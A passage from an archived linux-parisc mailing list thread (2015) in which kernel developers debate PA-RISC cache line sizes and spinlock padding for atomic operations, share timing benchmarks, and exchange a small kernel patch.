 #define ARCH_DMA_MINALIGN	L1_CACHE_BYTES
=20

--Apple-Mail-6--941130753
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-6--941130753--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v2][RFC] parisc: Change L1_CACHE_BYTES to 16
Date: Sun, 27 Sep 2015 09:17:36 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1443370656.2222.3.camel@HansenPartnership.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443370684 24756 80.91.229.3 (27 Sep 2015 16:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2015 16:18:04 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 18:17:50 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZgEdv-00026A-PI
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Sep 2015 18:17:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756412AbbI0QRj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2015 12:17:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59918 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756380AbbI0QRi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2015 12:17:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2215B8EE356;
	Sun, 27 Sep 2015 09:17:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GdBowUVX7FFE; Sun, 27 Sep 2015 09:17:38 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B513D8EE257;
	Sun, 27 Sep 2015 09:17:37 -0700 (PDT)
In-Reply-To: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26049>

On Sun, 2015-09-27 at 12:07 -0400, John David Anglin wrote:
> On 2015-09-26, at 11:38 AM, John David Anglin wrote:
> 
> > The attached change reduces L1_CACHE_BYTES from 32 on PA1.1 and 64 on PA2.0 to 16.
> > 
> > This is based on examination of the L1 cache design for the PA-8700 processor where it can
> > be seen the processor loads two double words per cycle.  This line length is consistent with the
> > original alignment requirement for the ldcw instruction.
> > 
> > Thus, we need to distinguish between the L1 and L2 (SMP) cache line lengths.
> > 
> > The attached change bumps SMP_CACHE_BYTES to 128 bytes as this is the line length used
> > on PA-8800 and PA-8900 processors.  This increases the overall kernel size somewhat but seems
> > logically correct.
> 
> 
> Slight tweak to previous.  This version only bumps SMP_CACHE_BYTES when CONFIG_SMP
> is defined.

What makes you think we need SMP_CACHE_BYTES to be different from
L1_CACHE_BYTES?  No other architecture does this.  The theory that gives
us two defines was that some SMP systems would arbitrate for memory at
geater than cache line offsets but, in practise, none does because
that's the level at which the cross CPU memory ownership model works
anyway.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 CPUs
Date: Sun, 27 Sep 2015 12:27:18 -0400
Lines: 217
Approved: news@gmane.org
Message-ID: <65929045-FF25-4BFB-BA89-F07A47328F1F@bell.net>
References: <20150902162000.GC2444@ls3530.box> <1441287043.2235.6.camel@HansenPartnership.com> <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de> <56017FB3.5050709@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-33--939912884
X-Trace: ger.gmane.org 1443371277 2797 80.91.229.3 (27 Sep 2015 16:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2015 16:27:57 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 18:27:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZgEnJ-0004YH-PV
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Sep 2015 18:27:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752128AbbI0Q1V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2015 12:27:21 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:51735 "EHLO
	torfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751459AbbI0Q1U (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2015 12:27:20 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20150927162719.KTSS22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 27 Sep 2015 12:27:19 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm02.bell.net
          with ESMTP
          id <20150927162718.WRZF26022.torspm02.bell.net@[192.168.2.10]>;
          Sun, 27 Sep 2015 12:27:18 -0400
In-Reply-To: <56017FB3.5050709@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.560818E7.002F,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26050>


--Apple-Mail-33--939912884
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2015-09-22, at 12:20 PM, Helge Deller wrote:

> On 05.09.2015 23:30, Helge Deller wrote:
>> Hi James,
>> ...
>> I haven't done any performance measurements yet, but your patch looks
>> absolutely correct.
>> ...
>=20
> Hello everyone,
>=20
> I did some timing tests with the various patches for
> a) atomic_hash patches:
>        https://patchwork.kernel.org/patch/7116811/
> b) alignment of LWS locks:
>        https://patchwork.kernel.org/patch/7137931/
>=20
> The testcase I used is basically the following:
> - It starts 32 threads.
> - We have 16 atomic ints organized in an array.
> - The first thread increments NITERS times the first atomic int.
> - The second thread decrements NITERS times the first atomic int.
> - The third/fourth thread increments/decrements the second atomic int, =
and so on...
> - So, we have 32 threads, of which 16 increments and 16 decrements 16 =
different atomic ints.
> - All threads run in parallel on a 4-way SMP PA8700 rp5470 machine.
> - I used the "time" command to measure the timings.
> - I did not stopped other services on the machine, but ran each test a =
few times and the timing results did not show significant variation =
between each run.
> - All timings were done on a vanilla kernel 4.2 with only the =
mentioned patch applied.
>=20
> The code is a modified testcase from the libatomic-ops debian package:
>=20
> AO_t counter_array[16] =3D { 0, };
> #define NITERS 1000000
>=20
> void * add1sub1_thr(void * id)
> {
>  int me =3D (int)(AO_PTRDIFF_T)id;
>  AO_t *counter;
>  int i;
>=20
>  counter =3D &counter_array[me >> 1];
>  for (i =3D 0; i < NITERS; ++i)
>    if ((me & 1) !=3D 0) {
>      (void)AO_fetch_and_sub1(counter);
>    } else {
>      (void)AO_fetch_and_add1(counter);
>    }
>  return 0;
> ...
> run_parallel(32, add1sub1_thr)
> ...
>=20
>=20
>=20
> The baseline for all results is the timing with a vanilla kernel 4.2:
> real    0m13.596s
> user    0m18.152s
> sys     0m35.752s
>=20
>=20
> The next results are with the atomic_hash (a) patch applied:
> For ATOMIC_HASH_SIZE =3D 4.=20
> real    0m21.892s=20
> user    0m27.492s
> sys     0m59.704s
>=20
> For ATOMIC_HASH_SIZE =3D 64.
> real    0m20.604s
> user    0m24.832s
> sys     0m56.552s
>=20
>=20
> Next I applied the LWS locks patch (b):
> XXXXXXXXXXXXXXXXXXXX    LWS_LOCK_ALIGN_BITS =3D 4
> real    0m13.660s
> user    0m18.592s
> sys     0m35.236s
>=20
> XXXXXXXXXXXXXXXXXXXX    LWS_LOCK_ALIGN_BITS  =3D L1_CACHE_SHIFT
> real    0m11.992s=20
> user    0m19.064s
> sys     0m28.476s
>=20
>=20
>=20
> Then I applied both patches (a and b):
> ATOMIC_HASH_SIZE =3D 64,  LWS_LOCK_ALIGN_BITS =3D 4
> ATOMIC_HASH_SIZE =3D 64,  LWS_LOCK_ALIGN_BITS =3D 4
> real    0m13.232s
> user    0m17.704s
> sys     0m33.884s
>=20
> ATOMIC_HASH_SIZE =3D 64,  LWS_LOCK_ALIGN_BITS =3D L1_CACHE_SHIFT
> real    0m12.300s
> user    0m20.268s
> sys     0m28.424s
>=20
> ATOMIC_HASH_SIZE =3D 4,   LWS_LOCK_ALIGN_BITS =3D 4
> real    0m13.181s
> user    0m17.584s
> sys     0m34.800s
>=20
> ATOMIC_HASH_SIZE =3D 4,   LWS_LOCK_ALIGN_BITS =3D L1_CACHE_SHIFT
> real    0m11.692s
> user    0m18.232s
> sys     0m27.072s
>=20
>=20
> In summary I'm astonished about those results.
> Especially from patch (a) I would have expected (when applied =
stand-alone) the same or better performance, because it makes the =
spinlocks more fine-grained.
> But a performance drop of 50% is strange.
>=20
> Patch (b) stand-alone does significantly increases performance (~20%), =
and together with patch (a) it even adds a few more percent performance =
increase on top.
>=20
> Given the numbers above I currently would suggest to apply both =
patches (with ATOMIC_HASH_SIZE =3D 4 and LWS_LOCK_ALIGN_BITS =3D =
L1_CACHE_SHIFT).
>=20
> Thoughts?


Hi Helge,

Attached is a revised patch "a" to try to improve performance of =
atomic_t variables.  If you get a chance, could
you see how it performs.

As noted in previous mail, I believe the L1 cache size is 16 bytes for =
all PA-RISC systems.  This change pads
the arch_spinlock_t type on PA2.0 to 16 bytes, so it is the same as =
PA1.x.  As a result, the spinlocks in
__atomic_hash are now on separate L1 cache lines.

I also bumped up ATOMIC_HASH_SIZE to give us 64 locks and changed =
ATOMIC_HASH_SIZE to divide
by SMP_CACHE_BYTES.  SMP_CACHE_BYTES should be maximum alignment used by =
kernel.  This is an
attempt to ensure the hash indexes are evenly distributed.

Testing v4.2.1+ on rp3440 with gcc build.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-33--939912884
Content-Disposition: attachment;
	filename=atomic-spin.d.txt
Content-Type: text/plain;
	name="atomic-spin.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/atomic.h =
b/arch/parisc/include/asm/atomic.h
index 226f8ca9..a5c6de5 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -25,8 +25,8 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) =
(a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE 64
+#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) =
(a))/SMP_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
=20
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
=20
diff --git a/arch/parisc/include/asm/spinlock_types.h =
b/arch/parisc/include/asm/spinlock_types.h
index 8c373aa..8c54f5e 100644
--- a/arch/parisc/include/asm/spinlock_types.h
+++ b/arch/parisc/include/asm/spinlock_types.h
@@ -4,7 +4,8 @@
 typedef struct {
 #ifdef CONFIG_PA20
 	volatile unsigned int slock;
-# define __ARCH_SPIN_LOCK_UNLOCKED { 1 }
+	volatile unsigned int pad[3];
+# define __ARCH_SPIN_LOCK_UNLOCKED { 1, { 1, 1, 1 } }
 #else
 	volatile unsigned int lock[4];
 # define __ARCH_SPIN_LOCK_UNLOCKED	{ { 1, 1, 1, 1 } }

--Apple-Mail-33--939912884
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-33--939912884--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v2][RFC] parisc: Change L1_CACHE_BYTES to 16
Date: Sun, 27 Sep 2015 12:46:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <87729342-A3F6-453F-BA6F-EF3C096AA92A@bell.net>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net> <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net> <1443370656.2222.3.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1443372418 20622 80.91.229.3 (27 Sep 2015 16:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2015 16:46:58 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 18:46:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZgF62-0001Yb-Mr
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Sep 2015 18:46:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750991AbbI0Qqm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2015 12:46:42 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:61517 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750918AbbI0Qqm convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2015 12:46:42 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20150927164640.EMZ5820.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 27 Sep 2015 12:46:40 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm01.bell.net
          with ESMTP
          id <20150927164640.ZDYP20298.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 27 Sep 2015 12:46:40 -0400
In-Reply-To: <1443370656.2222.3.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.56081D70.00AB,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26051>

On 2015-09-27, at 12:17 PM, James Bottomley wrote:

> What makes you think we need SMP_CACHE_BYTES to be different from
> L1_CACHE_BYTES?  No other architecture does this.  The theory that gives
> us two defines was that some SMP systems would arbitrate for memory at
> geater than cache line offsets but, in practise, none does because
> that's the level at which the cross CPU memory ownership model works
> anyway.

I was just keeping the values we had before.  Changing to the new L1_CACHE_BYTES
value probably needs testing.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128
 bytes on PA8800 and PA8900 CPUs
Date: Mon, 28 Sep 2015 17:57:32 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <5609636C.7010604@gmx.de>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <65929045-FF25-4BFB-BA89-F07A47328F1F@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443455884 29231 80.91.229.3 (28 Sep 2015 15:58:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2015 15:58:04 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 17:57:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZgaoO-0006O0-4I
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Sep 2015 17:57:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934325AbbI1P5q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Sep 2015 11:57:46 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51588 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934249AbbI1P5l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Sep 2015 11:57:41 -0400
Original-Received: from [192.168.20.60] ([92.203.35.35]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MOjMY-1Zmf5F0N30-0064VJ; Mon, 28 Sep 2015 17:57:35
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <65929045-FF25-4BFB-BA89-F07A47328F1F@bell.net>
X-Provags-ID: V03:K0:B04thISugXhQtSuWeHvPm4Zwc+LSackqJyEM7AQq1jthiffcaYO
 ZZi1Ou6s/6bwKJNJYMZpeLoR7OGhn5UKZO6PfVMM6Tv3ezCt5kAcg/XQ9iG8cHuU155mdnC
 gO5FkPVG++/BCJ0Bknjuazjh3e6K9uW2oPuT9UtSDzyqRYYxQH7msAmUcZFjrasNYHIYU/f
 +ehn/RkyFd+sB4GvT+GiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FxBKwKSMeMI=:/kLd6SU+SNB+qALEO54QkF
 d8EEC7iqtXO/4rHTpQgIUkQDLztJDkTBcJgfFqV2I03DNXpgijpaYiT79FgkyCTWGQjv/UZEG
 8y9xKt2+dtCKz5zNLOIZIxeV0agimXhRThybhxM45tSJVZtI1YdcUv5f9AsYu1FhvTfiQXIV5
 Hr+qKICP7cdmEX983veBB9RkI8Y+sF9k7QFzq/15ozmD+LtC5PDcFokYZA07f7I6su/BFZh7R
 AshUr6l/M4FKc6iICvuvvFgCZUW3yAHH9Zq5lCeeESKgQbH0tomPYUQcqUE3PL/dBRRpLJtEx
 w/A6KDwKhVf1miDXLp86nD3nOtmeH+xs/EFtXFq9n1dD12+tvUBXi9xidQlSdtaoLBuGpbN3P
 eYjAwm1JoeLSb0OUnseLpvQ58f7FFnZOAsYAHOR9U/TOoPjJ+ZC7b5RcBFobfn5L3LheanRwb
 c6lYVW/QqY38japhNqWDb6u+nZmgqPIECyqJuMbxEnSBRiLZNIcJTJJ7wmsFkbw07SMmCefew
 tsi6ZlnnZdko1vhorlwSqDxLJmbm+4dEO3P9RgHoiEVGVZAKMZSRFODyGoGrEleAcIxH014gv
 a+DNATxKZP/Y/qQ7lMNWjFbg2BrdOAXeVcxVAYLAhL19xg54Hk72LRbgU6A3zSbauWulLzEZ7
 k2S05RLl2rrO7AEeAD+AiWNK8T6LPhBQLgRTpW05NFCHUDydbKWYfMQ5eqRX/o2gf0Kzkyyx3
 N7EgLATiZWBkUuaRGOz5lgVZr5DQJpoyRmzpAQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26052>

Hi Dave,

On 27.09.2015 18:27, John David Anglin wrote:
> On 2015-09-22, at 12:20 PM, Helge Deller wrote:
>> The baseline for all results is the timing with a vanilla kernel 4.2:
>> real    0m13.596s
>> user    0m18.152s
>> sys     0m35.752s
>>
>>
>> The next results are with the atomic_hash (a) patch applied:
>> For ATOMIC_HASH_SIZE = 4. 
>> real    0m21.892s 
>> user    0m27.492s
>> sys     0m59.704s
>>
>> For ATOMIC_HASH_SIZE = 64.
>> real    0m20.604s
>> user    0m24.832s
>> sys     0m56.552s
>>
> Attached is a revised patch "a" to try to improve performance of atomic_t variables.  If you get a chance, could
> you see how it performs.

here are the numbers for your revised "a" patch (on top of vanilla kernel 4.2): 

real    0m20.040s
user    0m22.876s
sys     0m56.724s
(Variations can be around +- 0.5 seconds)

If you want to test yourself:
The testcase executable is on sibaris: /home/var_lib_sbuild_build/libatomic/libatomic-ops-7.4.2/test_atomic

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128
 bytes on PA8800 and PA8900 CPUs
Date: Mon, 28 Sep 2015 16:00:03 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <56099C43.70705@bell.net>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <65929045-FF25-4BFB-BA89-F07A47328F1F@bell.net>
 <5609636C.7010604@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443470420 18734 80.91.229.3 (28 Sep 2015 20:00:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2015 20:00:20 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 22:00:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zgeao-0000QE-PH
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Sep 2015 22:00:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751984AbbI1UAK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Sep 2015 16:00:10 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:30912 "EHLO
	torfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751515AbbI1UAJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Sep 2015 16:00:09 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20150928200007.WMOK22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 28 Sep 2015 16:00:07 -0400
Original-Received: from [192.168.0.116] (really [64.231.92.167])
          by torspm02.bell.net with ESMTP
          id <20150928200007.UCPM26022.torspm02.bell.net@[192.168.0.116]>;
          Mon, 28 Sep 2015 16:00:07 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <5609636C.7010604@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.56099C47.0182,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26053>

On 2015-09-28 11:57 AM, Helge Deller wrote:
> Hi Dave,
>
> On 27.09.2015 18:27, John David Anglin wrote:
>> On 2015-09-22, at 12:20 PM, Helge Deller wrote:
>>> The baseline for all results is the timing with a vanilla kernel 4.2:
>>> real    0m13.596s
>>> user    0m18.152s
>>> sys     0m35.752s
>>>
>>>
>>> The next results are with the atomic_hash (a) patch applied:
>>> For ATOMIC_HASH_SIZE = 4.
>>> real    0m21.892s
>>> user    0m27.492s
>>> sys     0m59.704s
>>>
>>> For ATOMIC_HASH_SIZE = 64.
>>> real    0m20.604s
>>> user    0m24.832s
>>> sys     0m56.552s
>>>
>> Attached is a revised patch "a" to try to improve performance of atomic_t variables.  If you get a chance, could
>> you see how it performs.
> here are the numbers for your revised "a" patch (on top of vanilla kernel 4.2):
>
> real    0m20.040s
> user    0m22.876s
> sys     0m56.724s
> (Variations can be around +- 0.5 seconds)
>
> If you want to test yourself:
> The testcase executable is on sibaris: /home/var_lib_sbuild_build/libatomic/libatomic-ops-7.4.2/test_atomic
It doesn't seem like the padding has much difference.  I had hoped for 
better although
the test probably doesn't test atomic_t variables.  The regression from 
the the vanilla
kernel is a problem.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
